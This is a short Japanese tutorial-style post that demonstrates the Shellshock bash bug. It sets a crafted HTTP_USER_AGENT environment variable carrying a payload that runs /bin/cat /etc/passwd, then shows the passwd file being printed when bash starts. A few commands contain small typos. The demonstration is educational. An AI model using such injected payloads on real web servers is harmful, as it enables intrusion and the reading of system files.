ShellShockのヤバさを実感する遊び
ShellShockの確認コードとして
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test
というのがありますが、これで何が怖いの?っていう感じですよね?
……というわけで、もう少しリアルな想定で遊んでみましょう。
想定
CGIを使ったwebサーバがあり、攻撃者がUSER_AGENTを偽装して攻撃してきている、という想定で遊びます。
ワークショップ
1. CGIにアクセスされると環境変数「USER_AGENT」に自動的に値がセットされます。まずはそのシミュレート。
$ export HTTP_USER_AGENT='() { :;}; echo /bin/cat /etc/passwd' $ cho $HTTP_USER_AGENT () { :;}; /bin/cat /etc/passwd
2. CGIのプロセスが起動した想定で、bashを起動します
$ bash # $FreeBSD: release/10.0.0/etc/master.passwd 256366 2013-10-12 06:08:18Z rpaulo $ # root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin (以下略)
と、このように/etc/passwdの中身が出力されてしまいます。
これはマジヤバでしょう!!!